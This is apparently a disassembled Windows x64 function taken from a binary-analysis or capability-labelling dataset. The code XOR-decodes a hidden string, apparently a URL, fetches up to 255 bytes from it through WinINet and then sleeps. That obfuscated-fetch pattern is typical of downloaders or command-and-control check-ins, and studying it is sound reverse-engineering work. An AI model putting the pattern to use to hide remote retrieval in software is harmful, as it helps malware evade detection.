Function at 0x140002cb0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xb0
mov rax, qword [0x1400aa020]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov eax, dword [0x14009c9d8]
xor ebx, ebx
cmp dword [0x1400aa030], 2
mov ecx, ebx
movups xmm0, xmmword [str.__AFD]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14009c9dc]
movups xmm1, xmmword [0x14009c9c8]
mov word [rsp + 0x74], ax
movzx eax, byte [0x14009c9de]
mov byte [rsp + 0x76], al
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm1
jl 0x140002e8f
movdqa xmm0, xmmword [0x14009d5c0]
lea rdx, [r11 - 0x64]
movdqa xmm5, xmmword [0x14009d580]
mov eax, 1
movdqa xmm4, xmmword [0x14009d5b0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [str.7777]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14009d5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14009d5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140002d70
movaps xmm8, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x27
jge 0x140002ecc
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x27
jl 0x140002ea0
lea r8, [0x1400affb0]
lea rdx, [rsp + 0x50]
lea rcx, [0x1400afd50]
call fcn.1400075b0
xor r9d, r9d
mov byte [0x1400afe60], bl
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
lea rcx, [0x14008fc93]
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002f80
mov qword [rsp + 0x28], rbx
lea rdx, [0x1400afd50]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov qword [rsp + 0xc0], rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rdi, [0x1400afe60]
mov rbx, rax
test rax, rax
je 0x140002f55
lea r9, [rsp + 0x30]
mov r8d, 0xff
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [rsp + 0x30]
mov byte [rdx + rdi], 0
test edx, edx
je 0x140002f78
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rdi
mov rdi, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140050300
add rsp, 0xb0
pop rbx
ret